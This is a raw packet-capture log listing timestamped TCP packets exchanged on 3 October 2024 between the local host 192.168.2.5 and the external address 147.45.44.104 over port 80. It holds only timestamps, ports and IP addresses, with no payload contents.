Oct 3, 2024 15:07:06.113930941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.113960981 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.113993883 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.156940937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.156951904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.156976938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.156986952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157027960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157037973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157228947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157239914 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157249928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157289028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157325029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157354116 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157373905 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157380104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157392025 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157433033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157519102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157598972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157609940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157644987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157655954 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157668114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157677889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157712936 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157744884 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.157910109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157927990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157938957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.157982111 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158035040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158046007 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158056974 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158067942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158092022 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158133030 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158384085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158400059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158411026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158438921 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158473015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158512115 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158523083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158533096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158545017 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158555984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158564091 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158596992 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.158941984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158983946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158993959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.158996105 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.159041882 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.159071922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.159082890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.159094095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.159104109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.159116030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.159353971 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.161282063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161292076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161300898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161317110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161328077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161360025 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.161386967 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.161402941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161415100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161453009 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.161704063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161715031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161725044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161750078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161763906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.161787987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.161823034 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.162139893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162151098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162162066 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162189960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162189960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.162214041 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.162296057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162307024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162317038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.162362099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.162385941 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.171178102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171186924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171195984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171236038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171245098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171253920 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171274900 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.171299934 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.171338081 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171348095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171356916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171401024 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.171425104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171435118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.171485901 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.201536894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201548100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201559067 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201601982 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201611996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201625109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201627016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.201637030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.201673031 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.201711893 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.206749916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244379044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244467974 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244467974 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244484901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244497061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244508028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244533062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244540930 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244544983 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244600058 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244633913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244645119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244649887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244694948 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244710922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244719982 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244757891 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244777918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244788885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244798899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244810104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244821072 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244852066 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244862080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.244863987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.244904041 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.245376110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.245385885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.245429993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.247242928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247272015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247281075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247296095 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.247334003 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.247354984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247365952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247378111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247416973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247427940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247431040 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.247438908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.247469902 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.247486115 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.248743057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249093056 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249102116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249140978 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249152899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249162912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249169111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249178886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249212027 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249227047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249257088 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249267101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249274015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249311924 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249391079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249403000 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249413013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249437094 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249444962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249491930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249499083 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249502897 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249516010 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249526978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249538898 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249562025 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249572992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249577999 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249608994 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249622107 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249666929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249676943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249708891 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.249727011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249738932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.249768972 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.250828028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250838041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250849009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250864029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250874996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250879049 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.250885010 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250901937 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.250916958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250927925 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250938892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250950098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250952005 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.250962019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250971079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.250978947 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.250984907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251010895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251048088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251077890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251089096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251100063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251110077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251120090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251148939 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251168013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251179934 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251185894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251224041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251233101 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251234055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251246929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251266956 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251282930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251296997 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251337051 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251337051 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251349926 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251359940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.251394033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.251409054 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.258668900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.258783102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.258847952 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636305094 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636334896 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636348009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636365891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636379957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636436939 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636452913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636514902 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636529922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636543036 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636557102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636570930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636575937 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636678934 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636693954 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636707067 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636715889 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636723995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636738062 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636765957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636780024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636785984 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636802912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636817932 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636823893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636837959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636852980 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636859894 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636868000 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636883020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636908054 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636929989 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.636959076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636972904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.636986971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637007952 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637049913 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637072086 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637085915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637099028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637114048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637142897 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637150049 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637159109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637192011 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637223005 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637228012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637243032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637258053 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637295008 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637346029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637360096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637373924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637401104 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637424946 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637495041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637509108 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637522936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637537003 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637567043 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637607098 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637623072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637638092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637651920 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637666941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637690067 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637708902 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637723923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637738943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637751102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637794971 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637821913 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637835979 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637850046 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637872934 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637911081 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.637934923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637949944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637964010 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.637978077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638000011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638011932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638015032 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638056993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638092995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638108969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638122082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638135910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638150930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638163090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638174057 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638211966 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638242960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638257980 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638278961 CEST	80	49704	147.45.44.104	192.168.2.5
